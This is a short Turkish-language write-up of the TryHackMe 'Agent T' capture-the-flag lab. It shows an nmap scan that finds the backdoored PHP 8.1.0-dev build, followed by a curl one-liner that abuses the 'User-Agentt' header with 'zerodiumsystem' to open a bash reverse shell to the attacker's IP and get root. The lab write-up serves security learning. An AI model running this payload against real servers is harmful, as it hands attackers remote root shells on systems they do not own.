Post

TryHackMe | Agent T WriteUp

TryHackMe | Agent T WriteUp

Özet

Nmap taramasının sonucunda web uygulamasının PHP’nin 8.1.0-dev sürümünü kullandığını öğreniyor ve yaptığımız kısa bir araştırmadan sonra user-agentt parametresi ile beraber komut çalıştırabilmemizi sağlayan bir güvenlik açığı olduğunu öğreniyoruz.

Keşif aşaması

Nmap taraması

1
2
3
4
5
6
$nmap -sVC -T4 10.10.105.29
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    PHP cli server 5.5 or later (PHP 8.1.0-dev)
|_http-title:  Admin Dashboard

Tarama sonucunda 80 (HTTP) numaralı portun açık olduğunu ve üzerinde PHP’nin 8.1.0-dev sürümünün çalıştığını öğreniyoruz.

Sömürü aşaması

Kullanılan PHP sürümünü google’da arattıktan sonra python ile yazılmış bu exploit ile karşılaşıyoruz. Anlaşılacağı üzere header’a eklenen user-agentt parametresinden yararlanarak sistemde komut çalıştırabiliyoruz. Curl aracından yararlanarak sistemden shell elde edebileceğimiz bir komut gönderelim.

1
$ curl -s 10.10.105.29 -H 'User-Agentt: zerodiumsystem("bash -c \" /bin/bash -i >& /dev/tcp/10.21.66.61/1234 0>&1\"");'

1234 numaralı portu ncat ile dinlemeye aldıktan sonra yukarıdaki komutu çalıştırıyor ve sistemden root yetkisinde bir shell elde ediyoruz. Sonra ise bayrağı ana dizinden yani /flag.txt adresinden alıyoruz.

This post is licensed under CC BY 4.0 by the author.